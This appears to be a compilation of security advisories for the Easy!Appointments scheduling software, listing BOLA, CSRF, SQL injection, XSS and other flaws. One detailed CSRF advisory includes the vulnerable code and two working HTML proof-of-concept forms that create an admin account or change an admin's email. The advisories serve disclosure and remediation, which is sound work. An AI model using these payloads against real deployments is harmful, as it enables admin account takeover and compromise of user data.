A BOLA vulnerability in POST /admins allows a low privileged user to create a high privileged user (admin) in the system. This results in privilege escalation.

A BOLA vulnerability in GET, PUT, DELETE /secretaries/{secretaryId} allows a low privileged user to fetch, modify or delete a low privileged user (secretary). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /providers/{providerId} allows a low privileged user to fetch, modify or delete a privileged user (provider). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /admins/{adminId} allows a low privileged user to fetch, modify or delete a high privileged user (admin). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /settings/{settingName} allows a low privileged user to fetch, modify or delete the settings of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /appointments/{appointmentId} allows a low privileged user to fetch, modify or delete an appointment of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

An issue in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to escalate privileges via the index.php file.

Use of Hard-coded Credentials in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

A BOLA vulnerability in GET, PUT, DELETE /services/{serviceId} allows a low privileged user to fetch, modify or delete the services of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

A BOLA vulnerability in GET, PUT, DELETE /webhooks/{webhookId} allows a low privileged user to fetch, modify or delete a webhook of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

Exposure of Private Personal Information to an Unauthorized Actor in GitHub repository alextselegidis/easyappointments prior to 1.4.3.

API Privilege Escalation in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Full system takeover.

A BOLA vulnerability in POST /providers allows a low privileged user to create a privileged user (provider) in the system. This results in privilege escalation.

Cross-Site Request Forgery (CSRF) vulnerability in alextselegidis Easy!Appointments easyappointments allows Cross Site Request Forgery.This issue affects Easy!Appointments: from n/a through <= 1.4.2.

Summary application/core/EASecurity.php::csrfverify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EASecurity.php#L52

Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5. Vulnerable file & function: application/core/EASecurity.php::csrfverify() — around line 52. Link: .../application/core/EASecurity.php#L52. Root cause: The function early-returns when the request is not POST:

php // vulnerable snippet if (strtoupper($SERVER['REQUESTMETHOD']) !== 'POST') { return $this->csrfsetcookie(); }

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

Examples of vulnerable endpoints (observed during testing):

index.php/admins/store — create admin (accepts fields via GET) index.php/admins/update — modify admin (accepts fields via GET) index.php/account/save — modify account/password (accepts fields via GET)

Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML) Save one of the HTML files (example csrfaddadminaccount.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

html <html> <body> <form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store"> <input type="hidden" name="admin[firstname]" value="adminaddbycsrf"> <input type="hidden" name="admin[lastname]" value="poc"> <input type="hidden" name="admin[email]" value="poc@gmail.com"> <input type="hidden" name="admin[mobilenumber]" value=""> <input type="hidden" name="admin[phonenumber]" value="0923092"> <input type="hidden" name="admin[address]" value=""> <input type="hidden" name="admin[city]" value=""> <input type="hidden" name="admin[state]" value=""> <input type="hidden" name="admin[zipcode]" value=""> <input type="hidden" name="admin[notes]" value=""> <input type="hidden" name="admin[language]" value="english"> <input type="hidden" name="admin[timezone]" value="UTC"> <input type="hidden" name="admin[settings][username]" value="admincsrf1"> <input type="hidden" name="admin[settings][notifications]" value="1"> <input type="hidden" name="admin[settings][calendarview]" value="table"> <input type="hidden" name="admin[settings][password]" value="changeme"> <input type="submit" value="Submit request"> </form> </body> </html>

another example for another endpoint

csrfchangeadminemail.html

html <html> <body> <form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update"> <input type="hidden" name="admin[firstname]" value="test"> <input type="hidden" name="admin[lastname]" value="cve"> <input type="hidden" name="admin[email]" value="test1@cve.com"> <input type="hidden" name="admin[mobilenumber]" value=""> <input type="hidden" name="admin[phonenumber]" value="0101900"> <input type="hidden" name="admin[address]" value=""> <input type="hidden" name="admin[city]" value=""> <input type="hidden" name="admin[state]" value=""> <input type="hidden" name="admin[zipcode]" value=""> <input type="hidden" name="admin[notes]" value=""> <input type="hidden" name="admin[language]" value="english"> <input type="hidden" name="admin[timezone]" value="UTC"> <input type="hidden" name="admin[settings][username]" value="testn"> <input type="hidden" name="admin[settings][notifications]" value="1"> <input type="hidden" name="admin[settings][calendarview]" value="default"> <input type="hidden" name="admin[id]" value="1"> <input type="submit" value="Submit request"> </form> </body> </html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrfexcludeuris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

1. Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) . 2. Require re-authentication or confirmation for critical operations (email/password changes). 3. Set cookie flags: SameSite, Secure, and HttpOnly as appropriate.

Impact

Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation. Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk. Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

Session Fixation in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

A BOLA vulnerability in GET, PUT, DELETE /categories/{categoryId} allows a low privileged user to fetch, modify or delete the category of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

alextselegidis Easy!Appointments v1.5.1 was discovered to contain a SQL injection vulnerability via the orderby parameter.

A BOLA vulnerability in POST /appointments allows a low privileged user to create an appointment for any user in the system (including admin). This results in unauthorized data manipulation.

A BOLA vulnerability in POST /secretaries allows a low privileged user to create a low privileged user (secretary) in the system. This results in unauthorized data manipulation.

A BOLA vulnerability in POST /services allows a low privileged user to create a service for any user in the system (including admin). This results in unauthorized data manipulation.

Booking logic flaw in Easy!Appointments v1.5.1 allows unauthenticated attackers to create appointments with excessively long durations, causing a denial of service by blocking all future booking availability.

Easy!Appointments 1.3.0 has a Missing Authorization issue allowing retrieval of hashed passwords and salts.

Cross-site Scripting (XSS) - Stored in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

Easy!Appointments 1.3.0 has a Guessable CAPTCHA issue.

The Easy!Appointments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'easyappointments' shortcode in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Missing Authorization vulnerability in Alex Tselegidis Easy!Appointments.This issue affects Easy!Appointments: from n/a through 1.3.3.

Authorization Bypass Through User-Controlled Key in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

Cross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbitrary code via the legalsettings parameter.